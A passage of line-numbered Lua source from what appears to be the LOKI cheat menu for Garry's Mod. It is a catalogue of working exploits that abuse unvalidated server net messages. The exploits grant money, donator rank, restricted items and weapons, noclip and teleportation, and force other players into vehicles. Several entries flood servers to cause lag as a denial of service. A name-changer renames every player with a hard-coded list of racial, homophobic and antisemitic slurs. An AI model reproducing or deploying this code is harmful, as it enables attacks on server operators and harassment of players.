4343 vars = {},
4344 scan = function() return LOKI.ValidNetString( "fixg" ) end,
4345 hooks = {
4346 Think = function(tbl, sploit)
4347 if(IsValid(LOKI.GetLP():GetNW2Entity("rgg"))) then
4348 LOKI.NetStart( sploit, "fixg" )
4349 net.WriteEntity(LOKI.GetLP():GetNW2Entity("rgg"))
4350 net.SendToServer()
4351 end
4352 end,
4353 },
4354 functions = {
4355 { typ = "bool" },
4356 },
4357} )
4358LOKI.AddExploit( "Money Exploit", {
4359 desc = "It would appear that crime does pay",
4360 severity = 50,
4361 bools = {enabled = false},
4362 status = 1,
4363 times_per_tick = math.huge,
4364 scan = function() return LOKI.ValidNetString( "dialogReward" ) end,
4365 hooks = {
4366 Think = function(tbl, sploit)
4367 LOKI.NetStart( sploit, "dialogReward" )
4368 net.WriteInt( LOKI.GetStored("scpmx_money", 1000), 32 )
4369 net.WriteInt( LOKI.GetStored("scpmx_points", 1000), 32 )
4370 net.SendToServer()
4371 end,
4372 },
4373 functions = {
4374 { typ = "float", Name = "Money", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "scpmx_money" },
4375 { typ = "float", Name = "Points", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "scpmx_points" },
4376 { typ = "func", Name = "Do it", },
4377 },
4378} )
4379LOKI.AddExploit( "Money Exploit", {
4380 desc = "Buy currency with your mothers credit card",
4381 severity = 50,
4382 bools = {enabled = false},
4383 status = 1,
4384 times_per_tick = math.huge,
4385 scan = function() return LOKI.ValidNetString( "PurchaseGun" ) end,
4386 hooks = {
4387 Think = function(tbl, sploit)
4388 LOKI.NetStart( sploit, "PurchaseGun" )
4389 net.WriteInt( LOKI.GetStored("scpmx2_money", 1000), 16 )
4390 net.SendToServer()
4391 end,
4392 },
4393 functions = {
4394 { typ = "float", Name = "Money", min = 1, max = (math.pow(2, 16)-1)/2, default = 1000, addr = "scpmx2_money" },
4395 { typ = "func", Name = "Do it", },
4396 },
4397} )
4398LOKI.AddExploit( "Money Exploit", {
4399 desc = "Rob the server bank",
4400 severity = 50,
4401 bools = {enabled = false},
4402 status = 1,
4403 times_per_tick = math.huge,
4404 scan = function() return LOKI.ValidNetString( "popupgivereward" ) end,
4405 hooks = {
4406 Think = function(tbl, sploit)
4407 LOKI.NetStart( sploit, "popupgivereward" )
4408 net.WriteInt( LOKI.GetStored("scpmx3_money", 1), 32 )
4409 net.SendToServer()
4410 end,
4411 },
4412 functions = {
4413 { typ = "float", Name = "Days", min = 1, max = 7, default = 1, addr = "scpmx3_money" },
4414 { typ = "func", Name = "Do it", },
4415 },
4416} )
4417LOKI.AddExploit( "Money Exploit", {
4418 desc = "Win the lottery",
4419 severity = 50,
4420 bools = {enabled = false},
4421 status = 1,
4422 times_per_tick = math.huge,
4423 scan = function() return LOKI.ValidNetString( "PurchaseAmmo" ) end,
4424 hooks = {
4425 Think = function(tbl, sploit)
4426 LOKI.NetStart( sploit, "PurchaseAmmo" )
4427 net.WriteInt( LOKI.GetStored("scpmx4_money", 1000), 16 )
4428 net.SendToServer()
4429 end,
4430 },
4431 functions = {
4432 { typ = "float", Name = "Money", min = 1, max = math.floor((math.pow(2, 16)-1)/2), default = 1000, addr = "scpmx4_money" },
4433 { typ = "func", Name = "Do it", },
4434 },
4435} )
4436LOKI.AddExploit( "Money Exploit", {
4437 desc = "Man these negative taxes sure are great!",
4438 severity = 50,
4439 bools = {enabled = false},
4440 status = 1,
4441 times_per_tick = math.huge,
4442 scan = function() return LOKI.ValidNetString( "givemoneyonetime" ) end,
4443 hooks = {
4444 Think = function(tbl, sploit)
4445 LOKI.NetStart( sploit, "givemoneyonetime" )
4446 net.WriteString(-tonumber(LOKI.GetStored("mx24", 1000)))
4447 net.SendToServer()
4448 end,
4449 },
4450 functions = {
4451 { typ = "float", Name = "Money", min = 1, max = math.huge, default = 1000, addr = "mx24" },
4452 { typ = "func", Name = "Do it", },
4453 },
4454} )
4455LOKI.AddExploit( "Money Exploit", {
4456 desc = "It's tax collection day and you've earned negative money this year!",
4457 severity = 50,
4458 bools = {enabled = false},
4459 status = 1,
4460 times_per_tick = math.huge,
4461 scan = function() return LOKI.ValidNetString( "take_my_cash" ) end,
4462 hooks = {
4463 Think = function(tbl, sploit)
4464 LOKI.NetStart( sploit, "take_my_cash" )
4465 net.WriteString(-tonumber(LOKI.GetStored("mx24", 1000)))
4466 net.SendToServer()
4467 end,
4468 },
4469 functions = {
4470 { typ = "float", Name = "Money", min = 1, max = math.huge, default = 1000, addr = "mx24" },
4471 { typ = "func", Name = "Do it", },
4472 },
4473} )
4474LOKI.AddExploit( "Points Exploit", {
4475 desc = "PacMan would disapprove (causes server-side errors, only sometimes works)",
4476 severity = 50,
4477 bools = {enabled = false},
4478 status = 1,
4479 times_per_tick = math.huge,
4480 scan = function() return LOKI.ValidNetString( "IntercomPlay" ) end,
4481 hooks = {
4482 Think = function(tbl, sploit)
4483 for i=0, tonumber(LOKI.GetStored("scpmx5_points", 1000)) do
4484 LOKI.NetStart( sploit, "IntercomPlay" )
4485 net.SendToServer()
4486 end
4487 end,
4488 },
4489 functions = {
4490 { typ = "float", Name = "Points", min = 1, max = math.huge, default = 1000, addr = "scpmx5_points" },
4491 { typ = "func", Name = "Do it", },
4492 },
4493} )
4494LOKI.AddExploit( "Donator Exploit", {
4495 desc = "Become a Pay2Win player for free",
4496 severity = 50,
4497 bools = {enabled = false},
4498 status = 1,
4499 times_per_tick = math.huge,
4500 scan = function() return LOKI.ValidNetString( "createvalue" ) end,
4501 hooks = {
4502 Think = function(tbl, sploit)
4503 LOKI.NetStart( sploit, "createvalue" )
4504 net.WriteString( "donatelevel" )
4505 net.WriteInt( LOKI.GetStored("donate1", 6), 16 )
4506 net.SendToServer()
4507 end,
4508 },
4509 functions = {
4510 { typ = "float", Name = "Level", min = 1, max = (math.pow(2, 16)-1)/2, default = 6, addr = "donate1" },
4511 { typ = "func", Name = "Do it", },
4512 },
4513} )
4514LOKI.AddExploit( "Inventory Exploit", {
4515 desc = "Buy any item (even donator/admin restricted)",
4516 severity = 50,
4517 bools = {enabled = false},
4518 status = 1,
4519 times_per_tick = 1,
4520 scan = function() return LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FISHINGMOD"}, "table") != false end,
4521 count = {
4522 ["Active"] = 0,
4523 ["Total"] = 3,
4524 },
4525 initial = function(sploit)
4526 if(sploit.count.Active == 0) then
4527 local CMOD_Messages = {
4528 ["CRAFTINGMOD"] = true,
4529 ["FARMINGMOD"] = true,
4530 ["FISHINGMOD"] = true,
4531 }
4532 for k, v in pairs(CMOD_Messages) do
4533 if(LOKI.DynamicNetString(k)) then
4534 sploit.count.Active = sploit.count.Active + 1
4535 end
4536 end
4537 end
4538 end,
4539 hooks = {
4540 Think = function(tbl, sploit)
4541 if(tbl[1] == 1) then
4542 local CMOD = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table")
4543 if(CMOD) then
4544 LOKI.Menu:SetVisible(false)
4545 local buy_tbl = {}
4546 for k, v in pairs(CMOD) do
4547 if(LOKI.ValidTable(v) && v.LIST) then
4548 for k2, v2 in pairs(v.LIST) do
4549 if(v2.BUY) then
4550 if(!v2.MODEL) then
4551 v2.MODEL = "models/error.mdl"
4552 end
4553 table.insert(buy_tbl, v2)
4554 end
4555 end
4556 end
4557 end
4558 CMOD.PANELS.Shop_ = buy_tbl
4559 CMOD.PANELS.Shop_Entity = ents.FindByClass("CRAFTINGMOD_SHOP")[1] || Entity(0)
4560 CMOD.PANELS:CreateShop()
4561 end
4562 elseif(tbl[1] == 2) then
4563 local Shop = LOKI.RecursiveGetVar(_G, {"FARMINGMOD", "Shop"}, "function")
4564 if(Shop) then
4565 Shop(FARMINGMOD)
4566 LOKI.Menu:SetVisible(false)
4567 end
4568 elseif(tbl[1] == 3) then
4569 local Shop = LOKI.RecursiveGetVar(_G, {"FISHINGMOD", "Menu", "CreateShop"}, "function")
4570 if(Shop) then
4571 Shop(FISHINGMOD.Menu)
4572 LOKI.Menu:SetVisible(false)
4573 end
4574 end
4575 end,
4576 net = {
4577 WriteTable = function(sploit, varargs)
4578 if(istable(varargs[1])) then
4579 for k, v in pairs(varargs[1]) do
4580 if(isfunction(v)) then
4581 varargs[1][k] = nil
4582 end
4583 end
4584 end
4585 end,
4586 },
4587 },
4588 functions = {
4589 { typ = "func", Name = "Mining Shop", args = {1}, required = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false},
4590 { typ = "func", Name = "Farming Shop", args = {2}, required = LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false},
4591 { typ = "func", Name = "Fishing Shop", args = {3}, required = LOKI.RecursiveGetVar(_G, {"FISHINGMOD"}, "table") != false},
4592 },
4593} )
4594LOKI.AddExploit( "Inventory Exploit", {
4595 desc = "Inverse the polarity of the servers moral compass",
4596 severity = 1,
4597 bools = {enabled = false},
4598 status = 1,
4599 times_per_tick = math.huge,
4600 count = {
4601 ["Active"] = 0,
4602 ["Total"] = 9,
4603 },
4604 scan = function() return LOKI.DynamicNetString("CRAFTINGMOD") || LOKI.DynamicNetString("FARMINGMOD") || LOKI.DynamicNetString("FISHINGMOD") end,
4605 initial = function(sploit)
4606 if(sploit.count.Active == 0) then
4607 local CMOD_Messages = {
4608 ["CRAFTINGMOD"] = true,
4609 ["FARMINGMOD"] = true,
4610 ["FISHINGMOD"] = true,
4611 }
4612 for k, v in pairs(CMOD_Messages) do
4613 if(LOKI.DynamicNetString(k)) then
4614 sploit.count.Active = sploit.count.Active + 3
4615 end
4616 end
4617 end
4618 end,
4619 hooks = {
4620 net = {
4621 WriteInt = function(sploit, varargs)
4622 local CMOD_Messages = {
4623 ["CRAFTINGMOD"] = true,
4624 ["FARMINGMOD"] = true,
4625 ["FISHINGMOD"] = true,
4626 }
4627 for k, v in pairs(CMOD_Messages) do
4628 if(sploit.bools.enabled && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find(k)) then
4629 varargs[1] = -varargs[1]
4630 break
4631 end
4632 end
4633 end,
4634 },
4635 },
4636 functions = {
4637 { typ = "bool" },
4638 },
4639} )
4640LOKI.AddExploit( "Inventory Exploit", {
4641 desc = "Convince the NPCs that you're a worthy charity",
4642 severity = 1,
4643 bools = {enabled = false},
4644 status = 1,
4645 times_per_tick = math.huge,
4646 count = {
4647 ["Active"] = 2,
4648 ["Total"] = 2,
4649 },
4650 scan = function() return LOKI.DynamicNetString("BuyFromShopNPC") end,
4651 hooks = {
4652 net = {
4653 WriteTable = function(sploit, varargs)
4654 if(sploit.bools.enabled && istable(varargs[1]) && varargs[1].price && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find("BuyFromShopNPC")) then
4655 varargs[1].price = 0
4656 end
4657 end,
4658 },
4659 },
4660 functions = {
4661 { typ = "bool" },
4662 },
4663} )
4664LOKI.AddExploit( "Vehicle Exploit", {
4665 desc = "Give yourself a preset car",
4666 severity = 50,
4667 bools = {enabled = false},
4668 status = 1,
4669 times_per_tick = 1,
4670 vars = {},
4671 scan = function() return LOKI.ValidNetString( "race_accept" ) end,
4672 hooks = {
4673 Think = function(tbl, sploit)
4674 LOKI.NetStart( sploit, "race_accept")
4675 net.SendToServer()
4676 end,
4677 },
4678 functions = {
4679 { typ = "func", Name = "Give me wheels", },
4680 },
4681} )
4682LOKI.AddExploit( "Vehicle Exploit", {
4683 desc = "Force any player into a vehicle",
4684 severity = 1,
4685 bools = {enabled = false},
4686 status = 1,
4687 times_per_tick = math.huge,
4688 scan = function() return LOKI.ValidNetString( "simfphys_request_seatswitch" ) end,
4689 hooks = {
4690 Think = function(tbl, sploit)
4691 local exploit = function(pl,veh,s)
4692 LOKI.NetStart( sploit, "simfphys_request_seatswitch", true )
4693 net.WriteEntity(veh)
4694 net.WriteEntity(pl)
4695 net.WriteInt(s, 32)
4696 net.SendToServer()
4697 end
4698
4699 local ply = LOKI.GetStored("vx_ply", {})[1]
4700 local vehicle = LOKI.GetStored("vx_veh", {})[1]
4701 local seat = nil
4702 local pSeats = {}
4703
4704 if(IsValid(ply) && IsValid(vehicle)) then
4705 if(isfunction(vehicle.GetRPM) && !IsValid( vehicle:GetDriver() )) then
4706 return exploit(ply, vehicle, 0)
4707 end
4708 for k, v in ipairs(ents.GetAll()) do
4709 if(v:GetParent() == vehicle) then
4710 table.insert(pSeats, v)
4711 end
4712 end
4713 for k, v in ipairs(pSeats) do
4714 for k2, v2 in ipairs(player.GetAll()) do
4715 if(v2:GetVehicle() == v) then
4716 continue
4717 end
4718 end
4719 return exploit(ply, vehicle, k)
4720 end
4721 end
4722 end,
4723 },
4724 functions = {
4725 { typ = "player", addr = "vx_ply", Name = "Player" },
4726 { typ = "entity", addr = "vx_veh", Name = "Vehicle", tbl = function() return LOKI.ents.FindByGlobal("GetDriverSeat") end },
4727 { typ = "func", Name = "Do it", },
4728 },
4729} )
4730LOKI.AddExploit( "NoClip Exploit", {
4731 desc = "Enter the spirit realm",
4732 severity = 95,
4733 bools = {enabled = false},
4734 status = 1,
4735 times_per_tick = 0,
4736 vars = {},
4737 scan = function() return LOKI.ValidNetString( "flyover_git" ) end,
4738 OnEnable = function(var, sploit)
4739 if(var != "noclip") then return end
4740 local pos = LOKI.GetLP():GetPos()
4741 LOKI.NetStart( sploit, "flyover_git")
4742 net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
4743 net.SendToServer()
4744 end,
4745 OnDisable = function(var, sploit)
4746 if(var != "noclip") then return end
4747 local pos = LOKI.GetLP():GetPos()
4748 LOKI.NetStart( sploit, "fly_over_end")
4749 net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
4750 net.SendToServer()
4751 end,
4752 hooks = {
4753 Think = function(tbl, sploit)
4754 local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
4755 LOKI.NetStart( sploit, "fly_over_end")
4756 net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
4757 net.SendToServer()
4758 end,
4759 },
4760 functions = {
4761 { typ = "bool", ToggleText = {"NoClip"}, border = true, bool = "noclip" },
4762 { typ = "func", Name = "Teleport" },
4763 },
4764} )
4765LOKI.AddExploit( "NoClip Exploit", {
4766 desc = "Enter the spirit realm",
4767 severity = 95,
4768 bools = {enabled = false},
4769 status = 1,
4770 times_per_tick = 0,
4771 vars = {},
4772 scan = function() return LOKI.ValidNetString( "079ServerAction" ) end,
4773 hooks = {
4774 CreateMove = function(tbl, sploit)
4775 if(sploit.bools.enabled && LOKI.Freecam.Enabled == true) then
4776 local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
4777 LOKI.NetStart(sploit, "079ServerAction")
4778 net.WriteString("Move")
4779 net.WriteVector(pos)
4780 net.SendToServer()
4781 end
4782 end,
4783 },
4784 functions = {
4785 { typ = "bool" },
4786 },
4787} )
4788LOKI.AddExploit( "NoClip Exploit", {
4789 desc = "Enter the spirit realm",
4790 severity = 95,
4791 bools = {enabled = false},
4792 status = 1,
4793 times_per_tick = 0,
4794 vars = {},
4795 scan = function() return LOKI.ValidNetString( "XMH_TeleportPlayer" ) end,
4796 hooks = {
4797 CreateMove = function(tbl, sploit)
4798 if(sploit.bools.enabled && LOKI.Freecam.Enabled == true) then
4799 local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
4800 LOKI.NetStart(sploit, "XMH_TeleportPlayer")
4801 net.WriteVector(pos)
4802 net.SendToServer()
4803 end
4804 end,
4805 },
4806 functions = {
4807 { typ = "bool" },
4808 },
4809} )
4810LOKI.AddExploit( "Vehicle Exploit", {
4811 desc = "Give yourself a firetruck",
4812 severity = 50,
4813 bools = {enabled = false},
4814 status = 1,
4815 times_per_tick = 1,
4816 vars = {},
4817 scan = function() return LOKI.ValidNetString( "race_accept" ) end,
4818 hooks = {
4819 Think = function(tbl, sploit)
4820 LOKI.NetStart( sploit, "FIRE_CreateFireTruck")
4821 net.SendToServer()
4822 end,
4823 },
4824 functions = {
4825 { typ = "func", Name = "Give me wheels", },
4826 },
4827} )
4828LOKI.AddExploit( "Weapons Exploit", {
4829 desc = "Give yourself any weapon",
4830 severity = 50,
4831 bools = {enabled = false},
4832 status = -1,
4833 times_per_tick = 1,
4834 vars = {},
4835 scan = function() return LOKI.ValidNetString( "give_me_weapon" ) end,
4836 hooks = {
4837 Think = function(tbl, sploit)
4838 LOKI.NetStart( sploit, "give_me_weapon")
4839 net.WriteString(LOKI.GetStored( "weapons1" ))
4840 net.SendToServer()
4841 end,
4842 },
4843 functions = {
4844 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons1" },
4845 { typ = "func", Name = "Give me artillery", },
4846 },
4847} )
4848LOKI.AddExploit( "Weapons Exploit", {
4849 desc = "Give yourself an explosion spell",
4850 severity = 50,
4851 bools = {enabled = false},
4852 status = 1,
4853 times_per_tick = 1,
4854 vars = {},
4855 scan = function() return LOKI.ValidNetString( "hpwrewrite_achievement1" ) end,
4856 hooks = {
4857 Think = function(tbl, sploit)
4858 LOKI.NetStart( sploit, "hpwrewrite_achievement1")
4859 net.SendToServer()
4860 end,
4861 },
4862 functions = {
4863 { typ = "func", Name = "Give me artillery", },
4864 },
4865} )
4866LOKI.AddExploit( "Weapons Exploit", {
4867 desc = "Give yourself any weapon",
4868 severity = 50,
4869 bools = {enabled = false},
4870 status = -1,
4871 times_per_tick = math.huge,
4872 scan = function() return LOKI.ValidNetString( "CraftSomething" ) end,
4873 hooks = {
4874 Think = function(tbl, sploit)
4875 LOKI.NetStart( sploit, "CraftSomething" )
4876 net.WriteEntity( LOKI.GetLP() )
4877 net.WriteString( LOKI.GetStored( "weapons2" ) )
4878 net.WriteString( "" )
4879 net.WriteString( "weapon" )
4880 net.SendToServer()
4881 end,
4882 },
4883 functions = {
4884 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons2" },
4885 { typ = "func", Name = "Give me artillery", },
4886 },
4887} )
4888LOKI.AddExploit( "Weapons Exploit", {
4889 desc = "Give yourself any weapon",
4890 severity = 50,
4891 bools = {enabled = false},
4892 status = -1,
4893 times_per_tick = math.huge,
4894 scan = function() return LOKI.ValidNetString( "SquadGiveWeapon" ) end,
4895 hooks = {
4896 Think = function(tbl, sploit)
4897 LOKI.NetStart( sploit, "SquadGiveWeapon" )
4898 net.WriteString(LOKI.GetStored( "weapons3" ))
4899 net.WriteEntity(LOKI.GetLP())
4900 net.SendToServer()
4901 end,
4902 },
4903 functions = {
4904 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons3" },
4905 { typ = "func", Name = "Give me artillery", },
4906 },
4907} )
4908LOKI.AddExploit( "Weapons Exploit", {
4909 desc = "Give yourself any weapon. (works but requires an admin to have used !give at least once since server start)",
4910 severity = 50,
4911 bools = {enabled = false},
4912 status = 1,
4913 times_per_tick = 1,
4914 vars = {},
4915 scan = function() return LOKI.ValidNetString( "giveweapon" ) end,
4916 hooks = {
4917 Think = function(tbl, sploit)
4918 LOKI.NetStart( sploit, "giveweapon")
4919 net.WriteString(LOKI.GetStored( "weapons4" ))
4920 net.SendToServer()
4921 end,
4922 },
4923 functions = {
4924 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons4" },
4925 { typ = "func", Name = "Give me artillery", },
4926 },
4927} )
4928LOKI.AddExploit( "Weapons Exploit", {
4929 desc = "Give yourself any weapon",
4930 severity = 50,
4931 bools = {enabled = false},
4932 status = 1,
4933 times_per_tick = 1,
4934 vars = {},
4935 scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
4936 hooks = {
4937 Think = function(tbl, sploit)
4938 LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY")
4939 net.WriteTable({type = 4, SWEP = LOKI.GetStored( "weapons5" ), SKIN = 0})
4940 net.WriteInt(0, 16)
4941 net.WriteString(tostring(CRAFTINGMOD.PANELS.Inventory_ID))
4942 net.SendToServer()
4943 end,
4944 },
4945 functions = {
4946 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons5" },
4947 { typ = "func", Name = "Give me artillery", },
4948 },
4949} )
4950LOKI.AddExploit( "Weapons Exploit", {
4951 desc = "Give or take weapons to/from yourself",
4952 severity = 50,
4953 bools = {enabled = false},
4954 status = 1,
4955 times_per_tick = 1,
4956 vars = {},
4957 scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
4958 hooks = {
4959 Think = function(tbl, sploit)
4960 local weaps = {}
4961 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
4962 net.WriteString( tbl[1] )
4963 if(tbl[2] == "All") then
4964 if(tbl[1] == "Remove") then
4965 for k1, v1 in pairs(v:GetWeapons()) do
4966 table.insert(weaps, v1:GetClass())
4967 end
4968 elseif(tbl[1] == "Add") then
4969 for k1, v1 in pairs(weapons.GetList()) do
4970 weaps[#weaps+1] = v1.ClassName
4971 end
4972 end
4973 else
4974 weaps = string.Split( LOKI.GetStored("scpwx_weaps", "weapon_rpg,weapon_smg1"), "," )
4975 end
4976 net.WriteTable( weaps )
4977 net.WriteEntity( LOKI.GetLP() )
4978 net.SendToServer()
4979 end,
4980 },
4981 functions = {
4982 { typ = "string", Name = "Weapons", default = "weapon_rpg,weapon_smg1", addr = "scpwx_weaps" },
4983 { typ = "func", Name = "Give", args = {"Add"} },
4984 { typ = "func", Name = "Take", args = {"Remove"} },
4985 { typ = "func", Name = "Strip", args = {"Remove", "All"} },
4986 { typ = "func", Name = "Give All", args = {"Add", "All"} },
4987 },
4988} )
4989LOKI.AddExploit( "Weapons Exploit", {
4990 desc = "Give yourself any weapon",
4991 severity = 50,
4992 bools = {enabled = false},
4993 status = 1,
4994 times_per_tick = 1,
4995 vars = {},
4996 scan = function() return LOKI.ValidNetString( "R_PERM.BuyFromShopNPC" ) end,
4997 hooks = {
4998 Think = function(tbl, sploit)
4999 LOKI.NetStart(sploit, "R_PERM.BuyFromShopNPC")
5000 net.WriteTable({type="Weapon",class=LOKI.GetStored( "weapons6" ),price=0})
5001 net.SendToServer()
5002 end,
5003 },
5004 functions = {
5005 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons6" },
5006 { typ = "func", Name = "Give me artillery", },
5007 },
5008} )
5009LOKI.AddExploit( "Weapons Exploit", {
5010 desc = "Give yourself default weapons",
5011 severity = 50,
5012 bools = {enabled = false},
5013 status = 1,
5014 times_per_tick = 1,
5015 vars = {},
5016 scan = function() return LOKI.ValidNetString( "XMH_HandleWeapons" ) end,
5017 hooks = {
5018 Think = function(tbl, sploit)
5019 LOKI.NetStart(sploit, "XMH_HandleWeapons")
5020 net.WriteString("xmh_givehl2weapons")
5021 net.SendToServer()
5022 LOKI.NetStart(sploit, "XMH_HandleWeapons")
5023 net.WriteString("xmh_givegmweapons")
5024 net.SendToServer()
5025 end,
5026 },
5027 functions = {
5028 { typ = "func", Name = "Give me artillery", },
5029 },
5030} )
5031LOKI.AddExploit( "Ammo Exploit", {
5032 desc = "Get unlimited ammo for every weapon",
5033 severity = 50,
5034 bools = {enabled = false},
5035 status = -1,
5036 times_per_tick = math.huge,
5037 prevalidated = true,
5038 scan = function() return LOKI.ValidNetString( "TCBBuyAmmo" ) && net.Receivers["tcbsendammo"] end,
5039 hooks = {
5040 Think = function(tbl, sploit)
5041 for k,v in pairs(GAMEMODE.AmmoTypes) do
5042 LOKI.NetStart(sploit, "TCBBuyAmmo")
5043 net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
5044 net.SendToServer()
5045 end
5046 end,
5047 },
5048 functions = {
5049 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons2" },
5050 { typ = "func", Name = "Give me artillery", },
5051 },
5052} )
5053LOKI.AddExploit( "Join Police", {
5054 desc = "Join the police force without going through the fucking form",
5055 severity = 50,
5056 bools = {enabled = false},
5057 status = -1,
5058 times_per_tick = math.huge,
5059 scan = function() return LOKI.ValidNetString( "PoliceJoin" ) end,
5060 hooks = {
5061 Think = function(tbl, sploit)
5062 LOKI.NetStart( sploit, "PoliceJoin" )
5063 net.SendToServer()
5064 end,
5065 },
5066 functions = {
5067 { typ = "func", Name = "Become a cop", },
5068 },
5069} )
5070LOKI.AddExploit( "Join Police", {
5071 desc = "Join the police force without going through the fucking form",
5072 severity = 50,
5073 bools = {enabled = false},
5074 status = -1,
5075 times_per_tick = math.huge,
5076 scan = function() return LOKI.ValidNetString( "CpForm_Answers" ) end,
5077 hooks = {
5078 Think = function(tbl, sploit)
5079 LOKI.NetStart( sploit, "CpForm_Answers")
5080 net.WriteEntity(LOKI.GetLP())
5081 net.WriteTable({})
5082 net.SendToServer()
5083 end,
5084 },
5085 functions = {
5086 { typ = "func", Name = "Become a cop", },
5087 },
5088} )
5089LOKI.AddExploit( "Printer Smasher", {
5090 desc = "Apply constant damage to any printers nearby",
5091 severity = 50,
5092 bools = {enabled = false},
5093 status = 1,
5094 msgs_per_tick = 3,
5095 times_per_tick = 1,
5096 vars = {},
5097 scan = function() return LOKI.ValidNetString( "customprinter_get" ) end,
5098 hooks = {
5099 Tick = function(tbl, sploit)
5100 for k, v in ipairs( LOKI.ents.FindByGlobal("IsCustomHQ") ) do
5101 if ( v:GetPos():Distance( LOKI.GetLP():GetPos() ) <= 750 ) then
5102 LOKI.NetStart( sploit, "customprinter_get")
5103 net.WriteEntity(v)
5104 net.WriteString("onoff")
5105 net.SendToServer()
5106 LOKI.NetStart( sploit, "customprinter_get")
5107 net.WriteEntity(v)
5108 net.WriteString("c_off")
5109 net.SendToServer()
5110 LOKI.NetStart( sploit, "customprinter_get")
5111 net.WriteEntity(v)
5112 net.WriteString("p_up")
5113 net.SendToServer()
5114 end
5115 end
5116 end,
5117 },
5118 functions = {
5119 { typ = "bool", },
5120 },
5121} )
5122local Names = { "Nigger", "Faggot", "Kike", "Cuckmaster", "Skid", "GetODIUM.PRO", "ODIUM.PRO", "Shit", "Piss", "Permavirgin", "CitizenRat", "Feminist", "Fuckhead", "Cunt", "ODIUM.PRO", "CockWart", "DickTickle", "FuckAdmins", "Paidmin", "ShitServer" }
5123LOKI.AddExploit( "Name Changer", {
5124 desc = "Destroy everybodys RPNames",
5125 severity = 50,
5126 bools = {enabled = false},
5127 status = 2,
5128 times_per_tick = 1,
5129 vars = {},
5130 scan = function() return LOKI.ValidNetString( "NC_GetNameChange" ) end,
5131 hooks = {
5132 Think = function(tbl, sploit)
5133 for k, v in ipairs( player.GetAll() ) do
5134 LOKI.NetStart( sploit, "NC_GetNameChange")
5135 net.WriteEntity(v)
5136 net.WriteString(table.Random(Names))
5137 net.WriteString(table.Random(Names))
5138 net.SendToServer()
5139 end
5140 end,
5141 },
5142 functions = {
5143 { typ = "bool", },
5144 },
5145} )
5146LOKI.AddExploit( "Lagsploit", {
5147 desc = "Lag the shit out of the server",
5148 severity = 100,
5149 bools = {enabled = false},
5150 status = 1,
5151 msgs_per_tick = 3,
5152 times_per_tick = 300,
5153 prevalidated = true,
5154 scan = function() return LOKI.ValidNetString( "ATS_WARP_REMOVE_CLIENT", "ATS_WARP_FROM_CLIENT", "ATS_WARP_VIEWOWNER" ) end,
5155 hooks = {
5156 Think = function(tbl, sploit)
5157 LOKI.NetStart( sploit, "ATS_WARP_REMOVE_CLIENT" )
5158 net.WriteEntity( LOKI.GetLP() )
5159 net.WriteString( "adminroom1" )
5160 net.SendToServer()
5161 LOKI.NetStart( sploit, "ATS_WARP_FROM_CLIENT" )
5162 net.WriteEntity( LOKI.GetLP() )
5163 net.WriteString( "adminroom1" )
5164 net.SendToServer()
5165 LOKI.NetStart( sploit, "ATS_WARP_VIEWOWNER" )
5166 net.WriteEntity( LOKI.GetLP() )
5167 net.WriteString( "adminroom1" )
5168 net.SendToServer()
5169 end,
5170 },
5171 functions = {
5172 { typ = "bool", },
5173 },
5174} )
5175LOKI.AddExploit( "Lagsploit", {
5176 desc = "Lag the shit out of the server",
5177 severity = 90,
5178 bools = {enabled = false},
5179 status = 3,
5180 msgs_per_tick = function() return player.GetCount * 3 end,
5181 times_per_tick = math.huge,
5182 prevalidated = true,
5183 scan = function() return LOKI.ValidNetString( "CFCreateGame", "CFJoinGame", "CFRemoveGame", "CFEndGame" ) end,
5184 hooks = {
5185 Think = function(tbl, sploit)
5186 for k,v in ipairs(player.GetAll()) do
5187 LOKI.NetStart( sploit, "CFRemoveGame" )
5188 net.WriteFloat( math.Round( "10000\n" ) )
5189 net.SendToServer()
5190 LOKI.NetStart( sploit, "CFJoinGame" )
5191 net.WriteFloat( math.Round( "10000\n" ) )
5192 net.SendToServer()
5193 LOKI.NetStart( sploit, "CFEndGame" )
5194 net.WriteFloat( "10000\n" )
5195 net.SendToServer()
5196 end
5197 end,
5198 },
5199 functions = {
5200 { typ = "bool", },
5201 },
5202} )
5203LOKI.AddExploit( "Lagsploit", {
5204 desc = "Moves the server onto an african ISP (Discovered by niku)",
5205 severity = 100,
5206 bools = {enabled = false},
5207 status = 1,
5208 times_per_tick = math.huge,
5209 scan = function() return LOKI.ValidNetString( "CreateCase" ) end,
5210 hooks = {
5211 Think = function(tbl, sploit)
5212 LOKI.NetStart( sploit, "CreateCase" )
5213 net.WriteString( "tapped by ODIUM.PRO" )
5214 net.SendToServer()
5215 end,
5216 },
5217 functions = {
5218 { typ = "bool", },
5219 },
5220} )
5221LOKI.AddExploit( "Lagsploit", {
5222 desc = "Gee I wonder what this does",
5223 severity = 90,
